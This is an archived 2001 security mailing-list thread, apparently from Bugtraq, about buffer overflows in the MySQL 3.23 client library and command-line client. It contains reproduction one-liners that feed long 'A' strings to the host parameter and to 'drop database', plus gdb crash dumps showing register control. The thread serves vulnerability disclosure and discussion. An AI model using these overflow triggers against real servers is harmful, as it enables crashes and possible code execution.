Re: Some more MySql security issues
- Original Message - From: "Konrad Rieck" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, February 12, 2001 9:19 PM Subject: Re: Some more MySql security issues > Maybe you can explain, how I will change my privileges on a system, when > executing exactly such overflows, I can't see it. Maybe in a situation where executing arbitrary code isn't one of your previleges. Like for example a web hosting service that offers mysql+php (safe_mode) and no shell access. Best regards, Joao Gouveia -- [EMAIL PROTECTED]
Re: Some more MySql security issues
At 03:19 PM 2/12/2001, Konrad Rieck wrote: >A bof is a bof. You are completely right, but as I said and I still believe >so, most buffer overflows are just bad coding practice. Don't get confused >by all that hype, there are far more applications with buffer overflows >in argv that are definitely not security relevant than security relevant >ones. Yes, I agree that they are typically bad coding practice... or at least oversights. As for security relevance, that is all a matter of context... but I will leave that cat in the box. > > lastly, you stated that nothing > > is gained by overflowing non-suid programs. that statement is obviously > > innaccurate. if you gain ANY uid/gid (etc etc) that is not in your > > currrent list, you are changing your privledges on the system. whether or > > not it is a ROOT compromise is a whole different matter. > >Maybe I was expressing a little bit too sloppy, buf if I consider >applications that are non-suid (so no set-uid occurs), e.g. the mysql There are still the cases of capabilities, privledges, etc etc. These pertain more to TOS's than others, however the TOS movement has expanded into the standard free unix environment, albeit in limited form. The point to make here is that setuid/setgid bits are not the only things that could cause you to gain something you didnt have before. A simple theoretical example, say you grant a privledge to a binary such that it can open a port < 1024, and you do so to eliminate the need to make the process setuid. Now, someone overflows a command line argument in that application such that they sucessfully gain the privledge of binding to a low port that the application had previously. Note that I say successfully due to the fact that a lot of TOS implementations drop privs on exec, so one would have to be more crafty than that (raw shell image replacement and execution based on manipulated eip). Another possibility is a case in which the offensive program is wrapped or used by another that *IS* privledged. Or simply a case in which there is an overflow in a library (which was one off the cases here). All of these are bad in varying degrees. >Maybe you can explain, how I will change my privileges on a system, when >executing exactly such overflows, I can't see it. see above. alas though, this is all a moot point. all that needs to be said is that by convention on bugtraq, people associate setuid with setuid(0) and any other case is referred to as setuid man or setgid man, etc etc. I was just clarifying the fact that you must be careful when saying setuid in a forum that typically associates that with root privs. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity + --- -- - --- -- --- -- --- - --+ | Tim Yardley ([EMAIL PROTECTED]) | http://www.students.uiuc.edu/~yardley/ + --- -- - --- -- --- -- --- - --+
Re: Some more MySql security issues
On Monday 12 February 2001 18:22, you wrote: > - Original Message - > From: "Joao Gouveia" <[EMAIL PROTECTED]> > To: <[EMAIL PROTECTED]> > Sent: Friday, February 09, 2001 9:54 PM > Subject: Some more MySql security issues > > > Hi, > > > > MySql staff has been notified regarding this issues on 2001-01-26. > > > > There still are some potential security flaws with MySql lastest stable > > release. > > Follows some tests i've made all with: > > > > MySql v3.23.32 > > PHP v4.0.4pl1 (static) > > apache-1.3.14 > > > > Let's look at a pratical example: > > A simple php script: > > > for ( $i=0 ; $i<= $buffer-1 ; ++$i ) > > $host.="A"; > > > > $cid = mysql_connect($host,$usr,$pwd); > > ?> > > Let's run apache ( latest version compiled with latest version of PHP ) > > in debugging mode to see what hapens: > > > > spike:~ # gdb /www/bin/httpd > > ... > > (gdb) run -X > > Starting program: /www/bin/httpd -X > > > > On our browser we issue: test.php?buffer=120 > > gdb shows the following > > > > Program received signal SIGSEGV, Segmentation fault. > > 0x40030cf3 in mysql_real_connect () from > > /home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10 > > (gdb) bt > > #0 0x40030cf3 in mysql_real_connect () from > > /home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10 > > #1 0x41414141 in ?? () > > (gdb) inf reg > > eax0x82010c0136319168 > > ecx0x3 3 > > edx0x82010f4136319220 > > ebx0x40046324 1074029348 > > esp0xbfffdc30 0xbfffdc30 > > ebp0xbfffdfbc 0xbfffdfbc > > esi0x8204ba5136334245 > > edi0x41414141 1094795585 > > eip0x40030cf3 0x40030cf3 > > eflags 0x10203 66051 > > cs 0x23 35 > > ss 0x2b 43 > > ds 0x2b 43 > > es 0x2b 43 > > fs 0x0 0 > > gs 0x0 0 > > (gdb) > > Lets try this problem : Secenario : Debian Woody. mysql Ver 11.11 Distrib Mysql 3.23.31 Apache 1.3.14 php 4.0.4pl1 StuffBox:/usr/sbin# gdb apache GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you a welcome to change it and/or distribute copies of it under certain conditio Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details This GDB was configured as "i686-pc-linux-gnu"... (no debugging symbols found)... (gdb) run -X Starting program: /usr/sbin/apache -X [..] On the other machine I wirte this script : and uploaded to my public_html in StuffBox ( The Box That is running apache + mysql + php ). and test from other site some buffers lengths : 200: PlayBox:~# wget http://192.168.1.2/~dn/bof.php3?buffer=200 StuffBox : Program received signal SIGSEGV, Segmentation fault. 0x40182e9d in inet_aton () from /lib/libc.so.6 (gdb) (gdb) bt #0 0x40182e9d in inet_aton () from /lib/libc.so.6 #1 0x40182e52 in inet_addr () from /lib/libc.so.6 #2 0x4026a48f in mysql_real_connect () from /usr/lib/libmysqlclient.so.10 (gdb) inf reg eax0x401ba160 1075552608 ecx0x0 0 edx0x2 2 ebx0x401b9474 1075549300 esp0xbfffe27c 0xbfffe27c ebp0xbfffe2b4 0xbfffe2b4 esi0x61697620 1634301472 edi0x6 6 eip0x40182e9d 0x40182e9d 500 : PlayBox:~# wget http://192.168.1.2/~dn/bof.php3?buffer=500 rogram received signal SIGSEGV, Segmentation fault. 0x40182e9d in inet_aton () from /lib/libc.so.6 (gdb) (gdb) bt #0 0x40182e9d in inet_aton () from /lib/libc.so.6 #1 0x40182e52 in inet_addr () from /lib/libc.so.6 #2 0x4026a48f in mysql_real_connect () from /usr/lib/libmysqlclient.so.10 (gdb) inf reg eax0x401ba160 1075552608 ecx0x0 0 edx0x2 2 ebx0x401b9474 1075549300 esp0xbfffe27c 0xbfffe27c ebp0xbfffe2b4 0xbfffe2b4 esi0x41414141 1094795585<<= edi0x6 6 eip0x40182e9d 0x40182e9d Cya.
Re: Some more MySql security issues
> I am a little bit confused about this mail. Maybe the author > can explain some issues to me... > > On Sat, Feb 10, 2001 at 12:54:33AM -, Joao Gouveia wrote: > > roberto@spike:~ > mysql -ublaah (Note: 'blaah' obviously isn't a valid > > username) > > You seem to have a strange configuration of mysql. By default only valid > users are allowed to connect to the database. Depends what you mean by "valid users" - mysql users or users with shell accounts on the system running MySQL? By default, MySQL installs with the database 'test', and any user logged onto localhost (i.e. users having a shell account on the system) may connect to MySQL and start manipulating this and any other database having a name starting with 'test_'. These users are considered "anonymous" users in MySQL. They do *not* have to be defined as MySQL users in order to do this. > So the overflow in "drop database" can only be used by users of mysql. which is anyone with a shell account on the system running MySQL, unless the administrator has done the only wise thing, namely dropped the test database and deleted the anonymous user from the MySQL user definition. / Carsten -- Carsten H. Pedersen keeper and maintainer of the bitbybit.dk MySQL FAQ http://www.bitbybit.dk/mysqlfaq
Re: Some more MySql security issues
On Mon, Feb 12, 2001 at 02:34:43PM -0600, Tim Yardley wrote: > >This is a nice example of bad code, but not a security issue, I could > >show up a 100 of programs that simply don't care for *argv parameters. > >You don't gain anything by exploiting such overflows in non-suid programs. > > watch what you say there. there have been hundreds of programs that have > been exploited via argv params. a bof is a bof.. regardless of where it > is. also, just because you don't gain anything doesnt mean that the > problem shouldnt be documented and fixed. A bof is a bof. You are completely right, but as I said and I still believe so, most buffer overflows are just bad coding practice. Don't get confused by all that hype, there are far more applications with buffer overflows in argv that are definitely not security relevant than security relevant ones. > lastly, you stated that nothing > is gained by overflowing non-suid programs. that statement is obviously > innaccurate. if you gain ANY uid/gid (etc etc) that is not in your > currrent list, you are changing your privledges on the system. whether or > not it is a ROOT compromise is a whole different matter. Maybe I was expressing a little bit too sloppy, buf if I consider applications that are non-suid (so no set-uid occurs), e.g. the mysql command, there is nothing special about overflows in the *argv parameters, it's just bad code. This is special to those command line parameters since they are only given by the user who is executing the program. I am not talking about general problems with buffer overflow or any other technique that might allow overwriting the stack, but in this case the user who is sending the content to the stack, is the one that can execute it - privileges are not changed. Maybe you can explain, how I will change my privileges on a system, when executing exactly such overflows, I can't see it. Regards, Konrad -- Konrad Rieck <[EMAIL PROTECTED]> Roqefellaz - http://www.r0q.cx, GPG Public Key http://www.r0q.cx/keys/kr.pub -- Fingerprint: 3AA8 CF92 C179 9760 C3B3 1B43 33B6 9221 AFBF 5897
Re: Some more MySql security issues
On Sun, Feb 11, 2001 at 12:40:48AM +0100, Konrad Rieck wrote:
> I am a little bit confused about this mail. Maybe the author
> can explain some issues to me...
>
> On Sat, Feb 10, 2001 at 12:54:33AM -, Joao Gouveia wrote:
> > roberto@spike:~ > mysql -ublaah (Note: 'blaah' obviously isn't a valid
> > username)
>
> You seem to have a strange configuration of mysql. By default only valid
> users are allowed to connect to the database. So the overflow in
> "drop database" can only be used by users of mysql. Well anyway, a security
> problem that can lead to the privileges the mysqld is running under, but
> not as simple as you show above.
A very irrelevant issue. The note about the obviously valid username
is incorrect, that is a configuration issue.
It doesn't, however, make the problem any less.
> > /home/jroberto/httpd/mysql/bin/mysql -h`perl -e'printf("A"x200)'`
>
> This is a nice example of bad code, but not a security issue, I could
> show up a 100 of programs that simply don't care for *argv parameters.
> You don't gain anything by exploiting such overflows in non-suid programs.
It, however, shows bad coding habits. Also, lots of programs might be
used in an 'privilege-elevated situation'. The overflows in 'host' and
'nslookup' have been fixed for real reasons. Those same reasons may
apply to the mysql console client.
Greetz, Peter.
Re: Some more MySql security issues
At 05:40 PM 2/10/2001, Konrad Rieck wrote:
>I am a little bit confused about this mail. Maybe the author
>can explain some issues to me...
>
>On Sat, Feb 10, 2001 at 12:54:33AM -, Joao Gouveia wrote:
> > roberto@spike:~ > mysql -ublaah (Note: 'blaah' obviously isn't a valid
> > username)
>
>You seem to have a strange configuration of mysql. By default only valid
>users are allowed to connect to the database. So the overflow in
>"drop database" can only be used by users of mysql. Well anyway, a security
>problem that can lead to the privileges the mysqld is running under, but
>not as simple as you show above.
he misspoke. the username had to be valid for him to log into mysql. he
was stating that it was not a valid username so that people didnt try
logging into his mysql server with that username (via brute force i assume).
> > /home/jroberto/httpd/mysql/bin/mysql -h`perl -e'printf("A"x200)'`
>
>This is a nice example of bad code, but not a security issue, I could
>show up a 100 of programs that simply don't care for *argv parameters.
>You don't gain anything by exploiting such overflows in non-suid programs.
watch what you say there. there have been hundreds of programs that have
been exploited via argv params. a bof is a bof.. regardless of where it
is. also, just because you don't gain anything doesnt mean that the
problem shouldnt be documented and fixed. lastly, you stated that nothing
is gained by overflowing non-suid programs. that statement is obviously
innaccurate. if you gain ANY uid/gid (etc etc) that is not in your
currrent list, you are changing your privledges on the system. whether or
not it is a ROOT compromise is a whole different matter.
also, keep in mind that most daemons do not always run under the same
uid/gid pair on all systems. mysql may run as user mysql on your system,
however what if some lame admin decided he wanted it to run as
root? oops. or perhaps i should bring up things like man? anyway, the
point of this was to simply say.. dont assume that you gain nothing just
because things are not run as root and/or setuid.
/tmy
-- Diving into infinity my consciousness expands in inverse
proportion to my distance from singularity
+ --- -- - --- -- --- -- --- -
--+
| Tim Yardley ([EMAIL PROTECTED])
| http://www.students.uiuc.edu/~yardley/
+ --- -- - --- -- --- -- --- -
--+
Re: Some more MySql security issues
On Sat, Feb 10, 2001 at 12:54:33AM -, Joao Gouveia wrote:
> Hi,
>
> MySql staff has been notified regarding this issues on 2001-01-26.
>
> There still are some potential security flaws with MySql lastest stable
> release.
> Follows some tests i've made all with:
>
> MySql v3.23.32
> PHP v4.0.4pl1 (static)
> apache-1.3.14
And my results on:
1. MySQL v3.23.31
Slackware-7.1 (glibc-2.1.3)
2. MySQL v3.23.31
Slackware-3.4 (libc5 + gcc-2.95.2)
> Problem 1.
> mysql> drop database
>
>
> AAA;
>
It seems I'm unable to reproduce this either on 3.4 and 7.1:
mysql> drop database
-> [2048 A's];
ERROR 1102: Incorrect database name
''
> Problem 2.
> ---
> MySql client that ships with the MySql package has a buffer overflow
> situation on the "host" user suplied input. ( among other paramaters, but
> this one can be critical )
>
> /home/jroberto/httpd/mysql/bin/mysql -h`perl -e'printf("A"x200)'`
>
> Program received signal SIGSEGV, Segmentation fault.
mysql -h`perl -e'printf("A"x200)'`
Segmentation fault
This one works on 3.4 as well on 7.1.
--
=- --rw--- =--=--=--=--=--=--=--=--=--=--=--=--=--=
Theodor Milkov Administrator IP Networks
Davidov Electric Ltd.Phone: +359 (2) 730158
PGP: http://www.zimage.delbg.com/zimage.asc
=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
PGP signature
Re: Some more MySql security issues
I am a little bit confused about this mail. Maybe the author
can explain some issues to me...
On Sat, Feb 10, 2001 at 12:54:33AM -, Joao Gouveia wrote:
> roberto@spike:~ > mysql -ublaah (Note: 'blaah' obviously isn't a valid
> username)
You seem to have a strange configuration of mysql. By default only valid
users are allowed to connect to the database. So the overflow in
"drop database" can only be used by users of mysql. Well anyway, a security
problem that can lead to the privileges the mysqld is running under, but
not as simple as you show above.
> /home/jroberto/httpd/mysql/bin/mysql -h`perl -e'printf("A"x200)'`
This is a nice example of bad code, but not a security issue, I could
show up a 100 of programs that simply don't care for *argv parameters.
You don't gain anything by exploiting such overflows in non-suid programs.
Regards,
Konrad
--
Konrad Rieck <[EMAIL PROTECTED]>
Roqefellaz - http://www.r0q.cx, GPG Public Key http://www.r0q.cx/keys/kr.pub
-- Fingerprint: 3AA8 CF92 C179 9760 C3B3 1B43 33B6 9221 AFBF 5897
